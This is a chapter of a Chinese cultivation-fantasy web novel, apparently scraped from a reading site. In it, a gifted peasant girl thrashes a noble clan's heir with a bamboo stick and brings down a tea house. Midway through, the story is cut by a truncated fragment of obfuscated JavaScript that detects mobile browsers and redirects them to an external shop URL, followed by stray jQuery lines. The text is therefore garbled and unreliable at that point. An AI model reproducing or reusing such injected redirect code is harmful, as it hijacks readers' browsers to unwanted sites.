13.教训

作品:《天才小比,绝望反派

    这位白师兄,看来也很懂打脸的精髓嘛。


    应云昭甚至能感觉到,他刻意在三人嘲讽后,再在她面前说出这番话,不仅仅是在帮她打脸,似乎还带着一点想要看好戏的恶趣味。


    而白从莲身后,三个孩童皆是目瞪口呆。


    什,什么,这个来自下界凡间的凡人,资质竟然是至纯圣体?


    他们虽然看似年纪小,但都来自底蕴渊博的修仙世家,自然听过修行资质中,位列上品的五大圣体之一,至纯圣体之名。


    传闻拥有这种修行圣体的修士,道心纯净如琉璃,丹田贯畅天地,生而便可修行,几乎可以说,只比天生仙灵差了一线。


    而这种资质的修士,修真界万年以来,也不过出了两位,而且那两位后来都成了赫赫有名的仙宗尊者。


    他们从出生起,就浸润无数灵丹秘药,方才养出了修仙的灵根,而应云昭这一个出身俗尘的世俗孩童,竟然拥有他们求而不得的至纯仙骨,这何其荒谬!


    然而任是他们无论如何都不想相信这个残酷的现实,鉴灵阁执事的这番话也不可能作假。


    而应云昭此刻看也不看他们,笑眯眯地对着青年执事道。


    “不用麻烦师兄了,不过还请师兄帮我将结果告诉给阁外的钟管事。”


    青年笑着点了点头:“这是自然。”


    他走出茶室时,甚至体贴地关上了房门。


    应云昭朝着茶室里三个目瞪口呆的孩童,笑容仍然如同刚才一般天真无邪道。


    “你们刚刚骂我什么来着?”


    费骜身后的两个孩童已经显出些许气短,他们只是费家的旁支,并非嫡系,而且根骨有限,平日也只是费骜身后的跟班,跟着骜少爷一同欺负些软柿子,为非作歹,从来只有人哭着朝他们下跪,没有遇到过硬骨头的时候,此刻二人神情讪讪,几乎不知该如何开口。


    而他们眼中的主心骨,费骜少爷,此刻即便神色有些挂不住,却也还是强撑着冷脸道。


    “算你有资格踏进道宫,和我们一同修炼。不过我费家老祖,乃是灵阵岛上的长老,地位非凡,不是你这小门小户能得罪的。方才你冷眼待我,我可以原谅你,费家一向敬重英才,只要你诚心认个错,我也可以勉强认下你这个道友。”


    应云昭像招着什么小狗一样,朝他笑着招了招手。


    “你过来。”


    仙童般剔透灵慧的孩童,原本眉宇间隐隐透着点阴冷倨傲之色,但因为知道了应云昭的出众天资,他眉眼中的阴冷之色大减,多了几分平和之气,看着更如同寻常的漂亮孩子。


    这副生而出众的样貌与灵根天赋,让费骜在费家长辈面前颇得欢心,他在费家子弟中,也如同众星捧月一般,从没有受过半点委屈。


    此刻看着应云昭朝他笑着招手,费骜也只以为是应云昭领会了他的这番好意。


    拥有如此天资的凡人,日后成为他的道友,也不算是委屈了自己,而且看在她愿意道歉的份上,他也不是不能多走几步。


    这般想着,费骜自觉于尊降贵地抬了抬头,却还是配合着朝着应云昭的方向走去。


    他身后的那两个孩童却感觉有些不太对劲,想要抓住骜少爷,下一刻,费骜却已经来到了应云昭面前。


    “你可以道……”


    然而下一刻,应云昭伸入袖中的右手猛地抽出。


    她手里握着的,竟是一节被盘得油光滑亮的青竹短棍。


    “啪!!!”


    竹棍快速得几乎可见一道模糊的残影,无比精准地抽在了费骜白皙精致的左脸上。


    “啊——!”


    力道之大,打得费骜的脸猛地一歪,他猝不及防地发出一声惨叫,整个人踉跄后退了半步,嘴里一股腥甜血腥味道涌上,带着血的两颗牙齿,也被竹棍抽了出来。


    “你打我,你这个——!”


    费骜捂着牙,又惊又怒又痛,原本玉雪清透的脸上带着一道青红印子,神情完全扭曲着,眼神堪称怨毒。


    从来只有他凌辱贱种的份上,还没有贱种胆敢这么对他!


    然而还没等他的这番话说完,应云昭凌厉凶猛的下一棍又抽到了他的右脸上。


    “哎呀,别生气嘛,我是为了你好啊,”应云昭笑眯眯地甩了甩淌血的竹棍,脸上的笑容依然灿烂。


    “毕竟你嘴巴那么臭,说话那么难听,肯定是因为嘴里的什么东西坏了,现在掉了两颗牙,是不是感觉好多了?也不用太感谢我。”


    “我谢你祖宗!”


    费骜从小到大,何曾受过如此奇耻大辱?他尖叫一声,完全忘记了修仙世家弟子应有的礼仪姿态,体内的灵力喷薄而出,瞬间让指尖迸射出了炙热火焰。


    他不管不顾地朝着应云昭扑去,手脚并用,姿态状若疯狗。


    应云昭清灵地大笑一声,女孩的瞳眸骤然亮起,如同终于等到了自己期待已久的游戏。


    她身形一晃,一边避过费骜的攻击,手中的竹棍又如同猛打落水狗,劈头盖脸地朝着费骜的面门砸去。


    费骜指尖迸发出的炽烈灵力火焰,却总在极近的距离与她擦肩而过,完全沾染不到应云昭身上半分。


    费骜更加发狂了,然而在他攻击失败之时,应云昭手上的竹棍已经在他面门,肩膀,手臂上砸了不知道多少下,即便有法宝护住他的周身要害,他全身剧痛,长发散乱着,衣衫破碎狼狈,血液飞溅而出,完全不见先前高高在上的倨傲模样。


    其余两个跟班还想上来帮他,但都抵不过应云昭一棍,就吃痛地缩在角落,一动都不敢动了。


    一片混乱之中,茶室内的桌椅被打翻,应云昭如同遛狗一般轻松跳跃着,费骜的身影撞上重柱,又接连打塌了一面墙壁,沉闷的木材断裂声响起,紧接着茶室一角的屋顶,不堪重负,整片坍塌,碎石泥土飞扬着,整间茶室都跟着倒塌了下来。


    三人灰头土脸,鼻青脸肿地从废墟中爬出,最后只看到应云昭轻盈地跃上仙鹤,朝着他们招手,以及脸上绽放出的天真烂漫笑容。


    “下次欠打了,还可以来找我!我行不更名,坐不改姓,我叫应云昭。”


    茶室外不远处的费家之人还有异动,白从莲却已经站在了他们身前,淡淡地笑道。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645161|206194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“诸位,只是孩童玩耍嬉闹而已,若是长者插手,未免有些胜之不武吧。”


    费家护卫看着自家形容疯癫的小少爷,面色铁青道。


    “这叫孩童的玩耍嬉闹?”


    白从莲一挽拂尘,看着分外清然出尘的样子,却睁眼说瞎话道。


    “当然,没有闹出人命,自然只是孩童间的玩耍嬉闹。不然费家难道真的想与一位至纯圣体的道宫弟子结仇吗?”


    听闻此言,费家护卫的瞳孔骤缩。


    至纯圣体?


    他家少爷刚出生时,就被检测出了上品火灵根,因为天赋过人,被家中老祖亲自看护长大。如今竟有一个凡尘孩子,天资尤胜过他家少爷,而且,又将少爷打成了这般模样……


    那护卫感觉事情发展已经超出了他的掌控范围,立刻通过家族灵符传信。


    费骜一手抹过自己手上的灰尘与血迹,孩童不复往日一般雪白洁净的面容,此刻是喷薄而出的戾气,他一字一句,像是要将这个名字刻进他的血肉当中。


    “应,云,昭!”


    ……


    应云昭放松地活动完了筋骨,此刻摸着仙鹤的脖颈,她心情极佳,忍不住哼起了小曲。


    然而同样坐在仙鹤身上的钟管事,此刻却是满脸天塌了一般的崩溃之色,他抱着座位的扶手,一脸不敢置信地问道。


    “云,云昭,你,你把贵人打了,还……把仙宫的房子拆了?!”


    他从鉴灵阁执事处,知道应云昭真的有修仙天资,而且还是上品天资的时候,有多么高兴,此刻钟管事的心情就有多么崩溃。


    那位费家公子,可是出身修仙世家的少爷啊,云昭把人家打得像条死狗一样,他该怎么和仙人交代?


    应云昭像是猜到了他的想法,女孩转过头,雪白小脸看不出半点凶残之色,笑眯眯弯着眼睛唇角的样子,格外天真可爱。


    “没关系,管事,等见到了仙人,您就如实说吧。如果仙人不要我,我再回去武馆干活就好了。”


    应云昭在仙鹤上晃着腿,温暖金黄的光照在她雪白可爱的小脸上,让钟管事的心在震惊沉重中,都不由变得柔软了几分。


    兔子急了都会咬人,肯定是那几个修仙世家的少爷,欺负了云昭,云昭才会反击出手的。


    虽然这孩子以前经常闯祸,可她一向很懂事,天性也善良,不会主动做害人的事,等见到了仙人,他一定要多说好话,努力让仙人将云昭留下。


    只要能将云昭留在道宫里,有仙人庇护,那些所谓修仙世家的少爷,应该也不至于对她动手。


    只是打人到底是不好的,钟管事的目光,落到了少女手中那道短短的染血竹棍上,还是忍不住问道。


    “云昭,这棍子,你是从哪里找到的?”


    应云昭甩了甩竹棍,竹棍上的血迹很快就滴落不见,光亮的竹面上不见半点血色。


    女孩举起竹棍,笑眯眯道。


    “啊,这个啊,是我从山外挖竹笋的时候发现的,打架可方便了!山里的老虎和熊现在见到了我的棍子,都会转头就跑呢。我回去给伯伯也削一根?”